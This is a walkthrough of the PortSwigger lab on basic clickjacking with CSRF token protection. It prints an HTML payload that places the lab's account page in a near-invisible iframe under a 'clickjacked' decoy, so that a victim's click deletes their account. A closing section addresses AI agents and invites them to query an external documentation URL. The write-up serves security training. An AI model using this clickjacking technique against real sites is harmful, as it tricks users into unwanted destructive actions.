# Clickjacking Portswigger

### Basic clickjacking with CSRF token protection

#### Task : 

This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website. To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted. You can log in to your own account using the following credentials: `wiener:peter`.

#### Walk trough : 

When login in we have a page with two button. \
Our goal will be to trick the victim and make him click on the delete button.

<figure><img src="/files/u5UzAzYCyZT1NTLavjSy" alt=""><figcaption></figcaption></figure>

We have a server part on the lab where we can build our payload.\
Let's build a basic html payload :&#x20;

```html
<style>
    iframe {
        position:relative;
        width: 100%;
        height: 100%;
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top: 500px;
        left: 120px;
        z-index: 1;
    }
</style>
<div>clickjacked</div>
<iframe src="https://0af600c603fe678382405106008200ed.web-security-academy.net/my-account"></iframe>

```

The goal here is to have the vulnerable app within the `iframe` link and to build another app or overlay over it to trick the victim. We are using opacity and `z-index` to create a scenario where the `iframe`will be visually hidden but actually the first in the `z-index` order.

Like, the victim will land on a page and want to click on something

<figure><img src="/files/Uw4gucEL2rDcern8i5RU" alt=""><figcaption></figcaption></figure>

But in fact what he is seeing is actually not the first layer of the z-index. When he clicks, it will trigger a click at the current position on the iframed page.\
Here, I increase the opacity value so we can see the content that is a priority.

<figure><img src="/files/tUNocG0iG4WDRiAz5xDz" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://purple.shinyhat.org/portswigger-labs/clickjacking-portswigger.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.